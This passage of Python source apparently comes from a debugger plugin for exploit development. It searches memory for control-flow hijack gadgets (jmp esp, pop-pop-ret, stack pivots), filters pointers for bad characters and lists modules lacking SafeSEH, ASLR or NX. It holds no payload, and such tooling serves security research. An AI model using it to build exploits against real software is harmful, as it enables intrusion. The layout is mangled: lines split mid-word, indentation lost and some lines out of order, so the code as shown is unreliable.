locinfo = ["ptr_str","%sptr to BSTR ASCI

I (0x%02x) '%s'" % (extra,bstr,datastr),"ascii"]


return locinfo
except:
pass

# pointer itself is a string ?


if ptrx.isUnicode:
b1,b2,b3,b4 = splitAddress(addy)
ptrstr = toAscii(toHexByte(b2)) + toAscii(toHexByte(b4))
if ptrstr.replace(" ","") != "" and not toHexByte(b2) ==
"00":
locinfo = ["str","= UNICODE '%s' %s" % (ptrstr,e
xtra),"unicode"]
return locinfo
if ptrx.isAsciiPrintable:
b1,b2,b3,b4 = splitAddress(addy)
ptrstr = toAscii(toHexByte(b1)) + toAscii(toHexByte(b2))
+ toAscii(toHexByte(b3)) + toAscii(toHexByte(b4))
if ptrstr.replace(" ","") != "" and not toHexByte(b1) ==
"00" and not toHexByte(b2) == "00" and not toHexByte(b3) == "00" and not toHexB
yte(b4) == "00":
locinfo = ["str","= ASCII '%s' %s" % (ptrstr,ext
ra),"ascii"]
return locinfo
# pointer to heap ?
if "Heap" in memloc:
if not "??" in outputlines[0]:
ismapped = True
ptraddy = outputlines[0][10:18]
locinfo = ["ptr_obj","%sptr to 0x%08x" % (extra,
hexStrToInt(ptraddy)),str(addy)]
return locinfo
# nothing special to report
return ["","",""]

#---------------------------------------#
# Various functions
#
#---------------------------------------#
def getDefaultProcessHeap():
peb = dbg.getPEBAddress()
defprocheap = struct.unpack('<L',dbg.readMemory(peb+0x18,4))[0]
return defprocheap
def getSortedSegmentList(heapbase):
segments = getSegmentsForHeap(heapbase)
sortedsegments = []
for seg in segments:
sortedsegments.append(seg)
sortedsegments.sort()
return sortedsegments

def getSegmentList(heapbase):
return getSegmentsForHeap(heapbase)
def getSegmentsForHeap(heapbase):
# either return the base of the segment, or the base of the default proc
ess heap
allsegmentsfound = False
segmentinfo = {}
global segmentlistCache
if heapbase in segmentlistCache:
return segmentlistCache[heapbase]
else:
i = 0
offset = 0x58
subtract = 0
os = dbg.getOsVersion()
segmentcnt = 0
try:
if win7mode:
# first one = heap itself
offset = 0xa8
subtract = 0x10
firstoffset = 0
firstsegbase = struct.unpack('<L',dbg.readMemory
(heapbase + 0x24,4))[0]
firstsegend = struct.unpack('<L',dbg.readMemory(
heapbase + 0x28,4))[0]
if not firstsegbase in segmentinfo:
segmentinfo[heapbase] = [firstsegbase,fi
rstsegend,firstsegbase,firstsegend]
# optional list with additional segments
# nested list
segbase = heapbase
lastindex = heapbase + offset
allsegmentsfound = False
lastsegment = struct.unpack('<L',dbg.readMemory(
heapbase+offset+4,4))[0] - subtract
if heapbase == lastsegment:
allsegmentsfound = True
segmentcnt = 1
while not allsegmentsfound and segmentcnt < 100:
nextbase = struct.unpack('<L',dbg.readMe
mory(segbase + 0x10,4))[0] - subtract
segbase = nextbase
if nextbase > 0 and (nextbase+subtract !
= lastindex):
segstart = struct.unpack('<L',db
g.readMemory(segbase + 0x24,4))[0]
segend = struct.unpack('<L',dbg.
readMemory(segbase + 0x28,4))[0]
if not segbase in segmentinfo:
segmentinfo[segbase] = [
segbase,segend,segstart,segend]
else:
allsegmentsfound = True
segmentcnt += 1
else:
while not allsegmentsfound:
thisbase = struct.unpack('<L',dbg.readMe

mory(heapbase + offset + (i*4),4))[0]


if thisbase > 0 and not thisbase in segm
entinfo:
# get start and end of segment
segstart = thisbase
segend = getSegmentEnd(segstart)
# get first and last valid entry
firstentry = struct.unpack('<L',
dbg.readMemory(segstart + 0x20,4))[0]
lastentry = struct.unpack('<L',d
bg.readMemory(segstart + 0x24,4))[0]
segmentinfo[thisbase] = [segstar
t,segend,firstentry,lastentry]
else:
allsegmentsfound = True
i += 1
# avoid infinite loop
if i > 100:
allsegmentsfound = True
except:
pass
segmentlistCache[heapbase] = segmentinfo
return segmentinfo
def containsBadChars(address,badchars="\x0a\x0d"):
"""
checks if the address contains bad chars
Arguments:
address - the address
badchars - string with the characters that should be avoided (defaults t
o 0x0a and 0x0d)
Return:
Boolean - True if badchars are found
"""
bytes = splitAddress(address)
chars = []
for byte in bytes:
chars.append(chr(byte))
# check each char
for char in chars:
if char in badchars:
return True
return False
def meetsCriteria(pointer,criteria):
"""
checks if an address meets the listed criteria
Arguments:
pointer - the MnPointer instance of the address
criteria - a dictionary with all the criteria to be met
Return:
Boolean - True if all the conditions are met
"""

# Unicode
if "unicode" in criteria and not (pointer.isUnicode or pointer.unicodeTr
ansform != ""):
return False
if "unicoderev" in criteria and not pointer.isUnicodeRev:
return False
# Ascii
if "ascii" in criteria and not pointer.isAscii:
return False
# Ascii printable
if "asciiprint" in criteria and not pointer.isAsciiPrintable:
return False
# Uppercase
if "upper" in criteria and not pointer.isUppercase:
return False
# Lowercase
if "lower" in criteria and not pointer.isLowercase:
return False
# Uppercase numeric
if "uppernum" in criteria and not pointer.isUpperNum:
return False
# Lowercase numeric
if "lowernum" in criteria and not pointer.isLowerNum:
return False
# Numeric
if "numeric" in criteria and not pointer.isNumeric:
return False
# Alpha numeric
if "alphanum" in criteria and not pointer.isAlphaNumeric:
return False
# Bad chars
if "badchars" in criteria and containsBadChars(pointer.getAddress(), cri
teria["badchars"]):
return False
# Nulls
if "nonull" in criteria and pointer.hasNulls:
return False
if "startswithnull" in criteria and not pointer.startsWithNull:
return False
return True
def search(sequences,criteria=[]):
"""
Alias for 'searchInRange'
search for byte sequences in a specified address range

Arguments:
sequences - array of byte sequences to search for
start - the start address of the search (defaults to 0)
end - the end address of the search
criteria - Dictionary containing the criteria each pointer should comply
with
Return:
Dictionary (opcode sequence => List of addresses)
"""
return searchInRange(sequences,criteria)
def searchInRange(sequences, start=0, end=TOP_USERLAND,criteria=[]):
"""
search for byte sequences in a specified address range
Arguments:
sequences - array of byte sequences to search for
start - the start address of the search (defaults to 0)
end - the end address of the search
criteria - Dictionary containing the criteria each pointer should comply
with
Return:
Dictionary (opcode sequence => List of addresses)
"""
if not "accesslevel" in criteria:
criteria["accesslevel"] = "*"
global ptr_counter
global ptr_to_get
found_opcodes = {}
if (ptr_to_get < 0) or (ptr_to_get > 0 and ptr_counter < ptr_to_get):
if not sequences:
return {}
# check that start is before end
if start > end:
start, end = end, start
dbg.setStatusBar("Searching...")
dbg.getMemoryPages()
process_error_found = False
for a in dbg.MemoryPages.keys():
if (ptr_to_get < 0) or (ptr_to_get > 0 and ptr_counter <
ptr_to_get):
# get end address of the page
page_start = a
page_size = dbg.MemoryPages[a].getSize()
page_end = a + page_size
if ( start > page_end or end < page_start ):
# we are outside the search range, skip
continue

if (not meetsAccessLevel(dbg.MemoryPages[a],crit
eria["accesslevel"])):
#skip this page, not executable
continue
# if the criteria check for nulls or unicode, we
can skip
# modules that start with 00
start_fb = toHex(page_start)[0:2]
end_fb = toHex(page_end)[0:2]
if ( ("nonull" in criteria and criteria["nonull"
]) and start_fb == "00" and end_fb == "00" ):
if not silent:
dbg.log("
!Skipped search o
f range %08x-%08x (Has nulls)" % (page_start,page_end))
continue
if (( ("startswithnull" in criteria and criteria
["startswithnull"]))
and (start_fb != "00" or end_fb
!= "00")):
if not silent:
dbg.log("
!Skipped search o
f range %08x-%08x (Doesn't start with null)" % (page_start,page_end))
continue
mem = dbg.MemoryPages[a].getMemory()
if not mem:
continue
# loop on each sequence
for seq in sequences:
if (ptr_to_get < 0) or (ptr_to_get > 0 a
nd ptr_counter < ptr_to_get):
buf = None
human_format = ""
if type(seq) == str:
human_format = seq.repla
ce("\n"," # ")
buf = dbg.assemble(seq)
else:
human_format = seq[0].re
place("\n"," # ")
buf = seq[1]
recur_find = []
try:
buf_len
mem_list

= len(buf)
= mem.split

( buf )
total_length = buf_len *
-1
except:
process_error_found = Tr
ue
dbg.log(" ** Unable to p
rocess searchPattern '%s'. **" % human_format)
break
for i in mem_list:

total_length = total_len
gth + len(i) + buf_len
seq_address = a + total_
length
recur_find.append( seq_a
ddress )
#The last one is the remaining s
lice from the split
#so remove it from the list
del recur_find[ len(recur_find)
- 1 ]
page_find = []
for i in recur_find:
if ( i >= start and i <=
end ):
ptr = MnPointer(
i)
# check if point
er meets criteria
if not meetsCrit
eria(ptr, criteria):
continue
page_find.append
(i)
ptr_counter += 1
if ptr_to_get >
0 and ptr_counter >= ptr_to_get:
#stop search
if human
_format in found_opcodes:
found_opcodes[human_format] += page_find
else:
found_opcodes[human_format] = page_find
return f
ound_opcodes
#add current pointers to the lis
t and continue
if len(page_find) > 0:
if human_format in found
_opcodes:
found_opcodes[hu
man_format] += page_find
else:
found_opcodes[hu
man_format] = page_find
if process_error_found:
break
return found_opcodes
# search for byte sequences in a module
def searchInModule(sequences, name,criteria=[]):
"""

search for byte sequences in a specified module


Arguments:
sequences - array of byte sequences to search for
name - the name of the module to search in
Return:
Dictionary (text opcode => array of addresses)
"""
module = dbg.getModule(name)
if(not module):
self.log("module %s not found" % name)
return []
# get the base and end address of the module
start = module.getBaseAddress()
end = start + module.getSize()
return searchInRange(sequences, start, end, criteria)
def getRangesOutsideModules():
"""
This function will enumerate all memory ranges that are not asssociated
with a module
Arguments : none
Returns : array of arrays, each containing a start and end address
"""
ranges=[]
moduleranges=[]
#get all ranges associated with modules
#force full rebuild to get all modules
populateModuleInfo()
for thismodule,modproperties in g_modules.iteritems():
top = 0
base = 0
for modprop,modval in modproperties.iteritems():
if modprop == "top":
top = modval
if modprop == "base":
base = modval
moduleranges.append([base,top])
#sort them
moduleranges.sort()
#get all ranges before, after and in between modules
startpointer = 0
endpointer = TOP_USERLAND
for modbase,modtop in moduleranges:
endpointer = modbase-1
ranges.append([startpointer,endpointer])
startpointer = modtop+1
ranges.append([startpointer,TOP_USERLAND])
#return array
return ranges
def isModuleLoadedInProcess(modulename):
if len(g_modules) == 0:
populateModuleInfo()

modulefound = False
module = dbg.getModule(modulename)
if(not module):
modulefound = False
else:
modulefound = True
return modulefound
def UnicodeTransformInfo(hexaddr):
"""
checks if the address can be used as unicode ansi transform
Arguments:
hexaddr - a string containing the address in hex format (4 bytes - 8 ch
aracters)
Return:
string with unicode transform info, or empty if address is not unicode t
ransform
"""
outstring = ""
transform=0
almosttransform=0
begin = hexaddr[0] + hexaddr[1]
middle = hexaddr[4] + hexaddr[5]
twostr=hexaddr[2]+hexaddr[3]
begintwostr = hexaddr[6]+hexaddr[7]
threestr=hexaddr[4]+hexaddr[5]+hexaddr[6]
fourstr=hexaddr[4]+hexaddr[5]+hexaddr[6]+hexaddr[7]
beginfourstr = hexaddr[0]+hexaddr[1]+hexaddr[2]+hexaddr[3]
threestr=threestr.upper()
fourstr=fourstr.upper()
begintwostr = begintwostr.upper()
beginfourstr = beginfourstr.upper()
uniansiconv = [ ["20AC","80"], ["201A","82"],
["0192","83"], ["201E","84"], ["2026","85"],
["2020","86"], ["2021","87"], ["02C6","88"],
["2030","89"], ["0106","8A"], ["2039","8B"],
["0152","8C"], ["017D","8E"], ["2018","91"],
["2019","92"], ["201C","93"], ["201D","94"],
["2022","95"], ["2013","96"], ["2014","97"],
["02DC","98"], ["2122","99"], ["0161","9A"],
["203A","9B"], ["0153","9C"], ["017E","9E"],
["0178","9F"]
]
# 4 possible cases :
# 00xxBBBB
# 00xxBBBC (close transform)
# AAAA00xx
# AAAABBBB
convbyte=""
transbyte=""
ansibytes=""
#case 1 and 2
if begin == "00":
for ansirec in uniansiconv:
if ansirec[0]==fourstr:
convbyte=ansirec[1]
transbyte=ansirec[1]

transform=1
break
if transform==1:
outstring +="unicode ansi transformed : 00"+twostr+"00"+
convbyte+","
ansistring=""
for ansirec in uniansiconv:
if ansirec[0][:3]==threestr:
if (transform==0) or (transform==1 and ansirec[1
] <> transbyte):
convbyte=ansirec[1]
ansibytes=ansirec[0]
ansistring=ansistring+"00"+twostr+"00"+c
onvbyte+"->00"+twostr+ansibytes+" / "
almosttransform=1
if almosttransform==1:
if transform==0:
outstring += "unicode possible ansi transform(s)
: " + ansistring
else:
outstring +=" / alternatives (close pointers) :
" + ansistring
#case 3
if middle == "00":
transform = 0
for ansirec in uniansiconv:
if ansirec[0]==beginfourstr:
convbyte=ansirec[1]
transform=1
break
if transform==1:
outstring +="unicode ansi transformed : 00"+convbyte+"00
"+begintwostr+","
#case 4
if begin != "00" and middle != "00":
convbyte1=""
convbyte2=""
transform = 0
for ansirec in uniansiconv:
if ansirec[0]==beginfourstr:
convbyte1=ansirec[1]
transform=1
break
if transform == 1:
for ansirec in uniansiconv:
if ansirec[0]==fourstr:
convbyte2=ansirec[1]
transform=2
break
if transform==2:
outstring +="unicode ansi transformed : 00"+convbyte1+"0
0"+convbyte2+","
# done
outstring = outstring.rstrip(" / ")
if outstring:
if not outstring.endswith(","):
outstring += ","

return outstring
def getSearchSequences(searchtype,searchcriteria="",type="",criteria={}):
"""
will build array with search sequences for a given search type
Arguments:
searchtype = "jmp", "seh"
SearchCriteria (optional):
<register> in case of "jmp" : string containing a register
Return:
array with all searches to perform
"""
offsets = [ "", "0x04","0x08","0x0c","0x10","0x12","0x1C","0x20","0x24"]
regs=["eax","ebx","ecx","edx","esi","edi","ebp"]
search=[]
if searchtype.lower() == "jmp":
if not searchcriteria:
searchcriteria = "esp"
searchcriteria = searchcriteria.lower()
min = 0
max = 0
if "mindistance" in criteria:
min = criteria["mindistance"]
if "maxdistance" in criteria:
max = criteria["maxdistance"]
minval = min
while minval <= max:
extraval = ""
if minval <> 0:
operator = ""
negoperator = "-"
if minval < 0:
operator = "-"
negoperator = ""
thisval = str(minval).replace("-","")
thishexval = toHex(int(thisval))
extraval = operator + thishexval
if minval == 0:
search.append("jmp " + searchcriteria )
search.append("call " + searchcriteria)
for roffset in offsets:
search.append("push "+searchcriteria+"\n
ret "+roffset)
for reg in regs:
if reg != searchcriteria:

search.append("push " + searchcr


iteria + "\npop "+reg+"\njmp "+reg)
search.append("push " + searchcr
iteria + "\npop "+reg+"\ncall "+reg)
search.append("mov "+reg+"," + s
earchcriteria + "\njmp "+reg)
search.append("mov "+reg+"," + s
earchcriteria + "\ncall "+reg)
search.append("xchg "+reg+","+se
archcriteria+"\njmp " + reg)
search.append("xchg "+reg+","+se
archcriteria+"\ncall " + reg)
for roffset in offsets:
search.append("push " +
searchcriteria + "\npop "+reg+"\npush "+reg+"\nret "+roffset)
search.append("mov "+reg
+"," + searchcriteria + "\npush "+reg+"\nret "+roffset)
search.append("xchg "+re
g+","+searchcriteria+"\npush " + reg + "\nret " + roffset)
else:
# offset jumps
search.append("add " + searchcriteria + "," + op
erator + thishexval + "\njmp " + searchcriteria)
search.append("add " + searchcriteria + "," + op
erator + thishexval + "\ncall " + searchcriteria)
search.append("sub " + searchcriteria + "," + ne
goperator + thishexval + "\njmp " + searchcriteria)
search.append("sub " + searchcriteria + "," + ne
goperator + thishexval + "\ncall " + searchcriteria)
for roffset in offsets:
search.append("add " + searchcriteria +
"," + operator + thishexval + "\npush " + searchcriteria + "\nret " + roffset)
search.append("sub " + searchcriteria +
"," + negoperator + thishexval + "\npush " + searchcriteria + "\nret " + roffset
)
if minval > 0:
search.append("jmp " + searchcriteria +
extraval)
search.append("call " + searchcriteria +
extraval)
minval += 1
if searchtype.lower() == "seh":
for roffset in offsets:
for r1 in regs:
search.append( ["add esp,4\npop " + r1+"\nret "+
roffset,dbg.assemble("add esp,4\npop " + r1+"\nret "+roffset)] )
search.append( ["pop " + r1+"\nadd esp,4\nret "+
roffset,dbg.assemble("pop " + r1+"\nadd esp,4\nret "+roffset)] )
for r2 in regs:
thissearch = ["pop "+r1+"\npop "+r2+"\nr
et "+roffset,dbg.assemble("pop "+r1+"\npop "+r2+"\nret "+roffset)]
search.append( thissearch )
if type == "rop":
search.append( ["pop "+r1+"\npop
"+r2+"\npop esp\nret "+roffset,dbg.assemble("pop "+r1+"\npop "+r2+"\npop esp\nr
et "+roffset)] )
for r3 in regs:
search.append( ["pop "+r
1+"\npop "+r2+"\npop "+r3+"\ncall ["+r3+"]",dbg.assemble("pop "+r1+"\npop "+r2+"

\npop "+r3+"\ncall ["+r3+"]")] )


search.append( ["add esp,8\nret "+roffset,dbg.assemble("
add esp,8\nret "+roffset)])
search.append( ["popad\npush ebp\nret "+roffset,dbg.asse
mble("popad\npush ebp\nret "+roffset)])
#popad + jmp/call
search.append(["popad\njmp ebp",dbg.assemble("popad\njmp ebp")])
search.append(["popad\ncall ebp",dbg.assemble("popad\ncall ebp")
])
#call / jmp dword
search.append(["call dword ptr ss:[esp+08]","\xff\x54\x24\x08"])
search.append(["call dword ptr ss:[esp+08]","\xff\x94\x24\x08\x0
0\x00\x00"])
search.append(["call dword ptr ds:[esp+08]","\x3e\xff\x54\x24\x0
8"])
search.append(["jmp dword ptr ss:[esp+08]","\xff\x64\x24\x08"])
search.append(["jmp dword ptr ss:[esp+08]","\xff\xa4\x24\x08\x00
\x00\x00"])
search.append(["jmp dword ptr ds:[esp+08]","\x3e\ff\x64\x24\x08"
])
search.append(["call dword ptr ss:[esp+14]","\xff\x54\x24\x14"])
search.append(["call dword ptr ss:[esp+14]","\xff\x94\x24\x14\x0
0\x00\x00"])
search.append(["call dword ptr ds:[esp+14]","\x3e\xff\x54\x24\x1
4"])
search.append(["jmp dword ptr ss:[esp+14]","\xff\x54\x24\x14"])
search.append(["jmp dword ptr ss:[esp+14]","\xff\xa4\x24\x14\x00
\x00\x00"])
search.append(["jmp dword ptr ds:[esp+14]","\x3e\xff\x54\x24\x14
"])
search.append(["call dword ptr ss:[esp+1c]","\xff\x54\x24\x1c"])
search.append(["call dword ptr ss:[esp+1c]","\xff\x94\x24\x1c\x0
0\x00\x00"])
search.append(["call dword ptr ds:[esp+1c]","\x3e\xff\x54\x24\x1
c"])
search.append(["jmp dword ptr ss:[esp+1c]","\xff\x54\x24\x1c"])
search.append(["jmp dword ptr ss:[esp+1c]","\xff\xa4\x24\x1c\x00
\x00\x00"])
search.append(["jmp dword ptr ds:[esp+1c]","\x3e\xff\x54\x24\x1c
"])
search.append(["call dword ptr ss:[esp+2c]","\xff\x54\x24\x2c"])
search.append(["call dword ptr ss:[esp+2c]","\xff\94\x24\x2c\x00
\x00\x00"])
search.append(["call dword ptr ds:[esp+2c]","\x3e\xff\x54\x24\x2
c"])
search.append(["jmp dword ptr ss:[esp+2c]","\xff\x54\x24\x2c"])
search.append(["jmp dword ptr ss:[esp+2c]","\xff\xa4\x24\x2c\x00
\x00\x00"])
search.append(["jmp dword ptr ds:[esp+2c]","\x3e\xff\x54\x24\x2c
"])
search.append(["call dword ptr ss:[esp+44]","\xff\x54\x24\x44"])
search.append(["call dword ptr ss:[esp+44]","\xff\x94\x24\x44\x0

0\x00\x00"])
search.append(["call dword ptr ds:[esp+44]","\x3e\xff\x54\x24\x4
4"])
search.append(["jmp dword ptr ss:[esp+44]","\xff\x54\x24\x44"])
search.append(["jmp dword ptr ss:[esp+44]","\xff\xa4\x24\x44\x00
\x00\x00"])
search.append(["jmp dword ptr ds:[esp+44]","\x3e\xff\x54\x24\x44
"])
search.append(["call dword ptr ss:[esp+50]","\xff\x54\x24\x50"])
search.append(["call dword ptr ss:[esp+50]","\xff\x94\x24\x50\x0
0\x00\x00"])
search.append(["call dword ptr ds:[esp+50]","\x3e\xff\x54\x24\x5
0"])
search.append(["jmp dword ptr ss:[esp+50]","\xff\x54\x24\x50"])
search.append(["jmp dword ptr ss:[esp+50]","\xff\xa4\x24\x50\x00
\x00\x00"])
search.append(["jmp dword ptr ds:[esp+50]","\x3e\xff\x54\x24\x50
"])
search.append(["call dword ptr ss:[ebp+0c]","\xff\x55\x0c"])
search.append(["call dword ptr ss:[ebp+0c]","\xff\x95\x0c\x00\x0
0\x00"])
search.append(["call dword ptr ds:[ebp+0c]","\x3e\xff\x55\x0c"])
search.append(["jmp dword ptr ss:[ebp+0c]","\xff\x65\x0c"])
search.append(["jmp dword ptr ss:[ebp+0c]","\xff\xa5\x0c\x00\x00
\x00"])
search.append(["jmp dword ptr ds:[ebp+0c]","\x3e\xff\x65\x0c"])
search.append(["call dword ptr ss:[ebp+24]","\xff\x55\x24"])
search.append(["call dword ptr ss:[ebp+24]","\xff\x95\x24\x00\x0
0\x00"])
search.append(["call dword ptr ds:[ebp+24]","\x3e\xff\x55\x24"])
search.append(["jmp dword ptr ss:[ebp+24]","\xff\x65\x24"])
search.append(["jmp dword ptr ss:[ebp+24]","\xff\xa5\x24\x00\x00
\x00"])
search.append(["jmp dword ptr ds:[ebp+24]","\x3e\xff\x65\x24"])
search.append(["call dword ptr ss:[ebp+30]","\xff\x55\x30"])
search.append(["call dword ptr ss:[ebp+30]","\xff\x95\x30\x00\x0
0\x00"])
search.append(["call dword ptr ds:[ebp+30]","\x3e\xff\x55\x30"])
search.append(["jmp dword ptr ss:[ebp+30]","\xff\x65\x30"])
search.append(["jmp dword ptr ss:[ebp+30]","\xff\xa5\x30\x00\x00
\x00"])
search.append(["jmp dword ptr ds:[ebp+30]","\x3e\xff\x65\x30"])
search.append(["call dword ptr ss:[ebp-04]","\xff\x55\xfc"])
search.append(["call dword ptr ss:[ebp-04]","\xff\x95\xfc\xff\xf
f\xff"])
search.append(["call dword ptr ds:[ebp-04]","\x3e\xff\x55\xfc"])
search.append(["jmp dword ptr ss:[ebp-04]","\xff\x65\xfc",])
search.append(["jmp dword ptr ss:[ebp-04]","\xff\xa5\xfc\xff\xff
\xff",])

search.append(["jmp dword ptr ds:[ebp-04]","\x3e\xff\x65\xfc",])


search.append(["call dword ptr ss:[ebp-0c]","\xff\x55\xf4"])
search.append(["call dword ptr ss:[ebp-0c]","\xff\x95\xf4\xff\xf
f\xff"])
search.append(["call dword ptr ds:[ebp-0c]","\x3e\xff\x55\xf4"])
search.append(["jmp dword ptr ss:[ebp-0c]","\xff\x65\xf4",])
search.append(["jmp dword ptr ss:[ebp-0c]","\xff\xa5\xf4\xff\xff
\xff",])
search.append(["jmp dword ptr ds:[ebp-0c]","\x3e\xff\x65\xf4",])
search.append(["call dword ptr ss:[ebp-18]","\xff\x55\xe8"])
search.append(["call dword ptr ss:[ebp-18]","\xff\x95\xe8\xff\xf
f\xff"])
search.append(["call dword ptr ds:[ebp-18]","\x3e\xff\x55\xe8"])
search.append(["jmp dword ptr ss:[ebp-18]","\xff\x65\xe8",])
search.append(["jmp dword ptr ss:[ebp-18]","\xff\xa5\xe8\xff\xff
\xff",])
search.append(["jmp dword ptr ds:[ebp-18]","\x3e\xff\x65\xe8",])
return search
def getModulesToQuery(criteria):
"""
This function will return an array of modulenames
Arguments:
Criteria - dictionary with module criteria
Return:
array with module names that meet the given criteria
"""
if len(g_modules) == 0:
populateModuleInfo()
modulestoquery=[]
for thismodule,modproperties in g_modules.iteritems():
#is this module excluded ?
thismod = MnModule(thismodule)
included = True
if not thismod.isExcluded:
#check other criteria
if ("safeseh" in criteria) and ((not criteria["safeseh"]
) and thismod.isSafeSEH):
included = False
if ("aslr" in criteria) and ((not criteria["aslr"]) and
thismod.isAslr):
included = False
if ("rebase" in criteria) and ((not criteria["rebase"])
and thismod.isRebase):
included = False
if ("os" in criteria) and ((not criteria["os"]) and this
mod.isOS):
included = False
if ("nx" in criteria) and ((not criteria["nx"]) and this
mod.isNX):
included = False
else:

included = False
#override all previous decision if "modules" criteria was provid
ed
thismodkey = thismod.moduleKey.lower().strip()
if ("modules" in criteria) and (criteria["modules"] != ""):
included = False
modulenames=criteria["modules"].split(",")
for modulename in modulenames:
modulename = modulename.strip('"').strip("'").lo
wer()
modulenamewithout = modulename.replace("*","")
if len(modulenamewithout) <= len(thismodkey):
#endswith ?
if modulename[0] == "*":
if modulenamewithout == thismodk
ey[len(thismodkey)-len(modulenamewithout):len(thismodkey)]:
if not thismod.moduleKey
in modulestoquery and not thismod.isExcluded:
modulestoquery.a
ppend(thismod.moduleKey)
#startswith ?
if modulename[len(modulename)-1] == "*":
if (modulenamewithout == thismod
key[0:len(modulenamewithout)] and not thismod.isExcluded):
if not thismod.moduleKey
in modulestoquery:
modulestoquery.a
ppend(thismod.moduleKey)
#contains ?
if ((modulename[0] == "*" and modulename
[len(modulename)-1] == "*") or (modulename.find("*") == -1)) and not thismod.isE
xcluded:
if thismodkey.find(modulenamewit
hout) > -1:
if not thismod.moduleKey
in modulestoquery:
modulestoquery.a
ppend(thismod.moduleKey)
if included:
modulestoquery.append(thismod.moduleKey)
return modulestoquery

def getPointerAccess(address):
"""
Returns access level of specified address, in human readable format
Arguments:
address - integer value
Return:
Access level (human readable format)
"""
global MemoryPageACL
paccess = ""
try:
page

= dbg.getMemoryPageByAddress( address )

if page in MemoryPageACL:
paccess = MemoryPageACL[page]
else:
paccess = page.getAccess( human = True )
MemoryPageACL[page] = paccess
except:
paccess = ""
return paccess
def getModuleProperty(modname,parameter):
"""
Returns value of a given module property
Argument :
modname - module name
parameter name - (see populateModuleInfo())
Returns :
value associcated with the given parameter / module combination
"""
modname=modname.strip()
parameter=parameter.lower()
valtoreturn=""
# try case sensitive first
for thismodule,modproperties in g_modules.iteritems():
if thismodule.strip() == modname:
return modproperties[parameter]
return valtoreturn
def populateModuleInfo():
"""
Populate global dictionary with information about all loaded modules
Return:
Dictionary
"""
if not silent:
dbg.setStatusBar("Getting modules info...")
dbg.log("[+] Generating module info table, hang on...")
dbg.log("
- Processing modules")
dbg.updateLog()
global g_modules
g_modules={}
allmodules=dbg.getAllModules()
curmod = ""
for key in allmodules.keys():
modinfo={}
thismod = MnModule(key)
if not thismod is None:
modinfo["path"]
= thismod.modulePath
modinfo["base"]
= thismod.moduleBase
modinfo["size"]
= thismod.moduleSize
modinfo["top"]
= thismod.moduleTop
modinfo["safeseh"]
= thismod.isSafeSEH
modinfo["aslr"]
= thismod.isAslr
modinfo["nx"]
= thismod.isNX
modinfo["rebase"]
= thismod.isRebase
modinfo["version"]
= thismod.moduleVersion

modinfo["os"]
= thismod.isOS
modinfo["name"]
= key
modinfo["entry"]
= thismod.moduleEntry
modinfo["codebase"]
= thismod.moduleCodebase
modinfo["codesize"]
= thismod.moduleCodesize
modinfo["codetop"]
= thismod.moduleCodetop
g_modules[thismod.moduleKey] = modinfo
else:
if not silent:
dbg.log("
- Oops, potential issue with module
%s, skipping module" % key)
if not silent:
dbg.log("
- Done. Let's rock 'n roll.")
dbg.setStatusBar("")
dbg.updateLog()
def ModInfoCached(modulename):
"""
Check if the information about a given module is already cached in the g
lobal Dictionary
Arguments:
modulename - name of the module to check
Return:
Boolean - True if the module info is cached
"""
if (getModuleProperty(modulename,"base") == ""):
return False
else:
return True
def showModuleTable(logfile="", modules=[]):
"""
Shows table with all loaded modules and their properties.
Arguments :
empty string - output will be sent to log window
or
filename - output will be written to the filename
modules - dictionary with modules to query - result of a populateModuleI
nfo() call
"""
thistable = ""
if len(g_modules) == 0:
populateModuleInfo()
thistable += "---------------------------------------------------------------------------------------------------------------------------------\n"
thistable += " Module info :\n"
thistable += "---------------------------------------------------------------------------------------------------------------------------------\n"
thistable += " Base
| Top
| Size
| Rebase | SafeSEH |
ASLR | NXCompat | OS Dll | Version, Modulename & Path\n"
thistable += "---------------------------------------------------------------------------------------------------------------------------------\n"
for thismodule,modproperties in g_modules.iteritems():
if (len(modules) > 0 and modproperties["name"] in modules or len
(logfile)>0):

rebase = toSize(str(modproperties["rebase"]),7)
base
= toSize(str("0x" + toHex(modproperties["base"])
),10)
top

= toSize(str("0x" + toHex(modproperties["top"]))

size

= toSize(str("0x" + toHex(modproperties["size"])

,10)
),10)
safeseh = toSize(str(modproperties["safeseh"]),7)
aslr
= toSize(str(modproperties["aslr"]),5)
nx
= toSize(str(modproperties["nx"]),7)
isos
= toSize(str(modproperties["os"]),7)
version = str(modproperties["version"])
path
= str(modproperties["path"])
name
= str(modproperties["name"])
thistable += " " + base + " | " + top + " | " + size + "
| " + rebase +"| " +safeseh + " | " + aslr + " | " + nx + " | " + isos + "| "
+ version + " [" + name + "] (" + path + ")\n"
thistable += "---------------------------------------------------------------------------------------------------------------------------------\n"
tableinfo = thistable.split('\n')
if logfile == "":
for tline in tableinfo:
dbg.log(tline)
else:
with open(logfile,"a") as fh:
fh.writelines(thistable)
#-----------------------------------------------------------------------#
# This is where the action is
#-----------------------------------------------------------------------#
def processResults(all_opcodes,logfile,thislog,specialcases = {},ptronly = False
):
"""
Write the output of a search operation to log file
Arguments:
all_opcodes - dictionary containing the results of a search
logfile - the MnLog object
thislog - the filename to write to
Return:
written content in log file
first 20 pointers are shown in the log window
"""
ptrcnt = 0
cnt = 0
global silent
if all_opcodes:
dbg.log("[+] Writing results to %s" % thislog)
for hf in all_opcodes:
if not silent:
try:
dbg.log("
- Number of pointers of typ
e '%s' : %d " % (hf,len(all_opcodes[hf])))
except:
dbg.log("
- Number of pointers of typ
e '<unable to display>' : %d " % (len(all_opcodes[hf])))

if not ptronly:
if not silent:
dbg.log("[+] Results : ")
messageshown = False
for optext,pointers in all_opcodes.iteritems():
for ptr in pointers:
ptrinfo = ""
modinfo = ""
ptrx = MnPointer(ptr)
modname = ptrx.belongsTo()
if not modname == "":
modobj = MnModule(modname)
ptrextra = ""
rva=0
if (modobj.isRebase or modobj.is
Aslr):
rva = ptr - modobj.modul
eBase
ptrextra = " (b+0x" + to
Hex(rva)+") "
ptrinfo = "0x" + toHex(ptr) + pt
rextra + " : " + optext + " | " + ptrx.__str__() + " " + modobj.__str__()
else:
ptrinfo = "0x" + toHex(ptr) + "
: " + optext + " | " + ptrx.__str__()
if ptrx.isOnStack():
ptrinfo += " [Stack] "
elif ptrx.isInHeap():
ptrinfo += " [Heap] "
logfile.write(ptrinfo,thislog)
if (ptr_to_get > -1) or (cnt < 20):
if not silent:
dbg.log(" %s" % ptrinfo
,address=ptr)
cnt += 1
ptrcnt += 1
if (ptr_to_get == -1 or ptr_to_get > 20)
and cnt == 20 and not silent and not messageshown:
dbg.log("... Please wait while I
'm processing all remaining results and writing everything to file...")
messageshown = True
if cnt < ptrcnt:
if not silent:
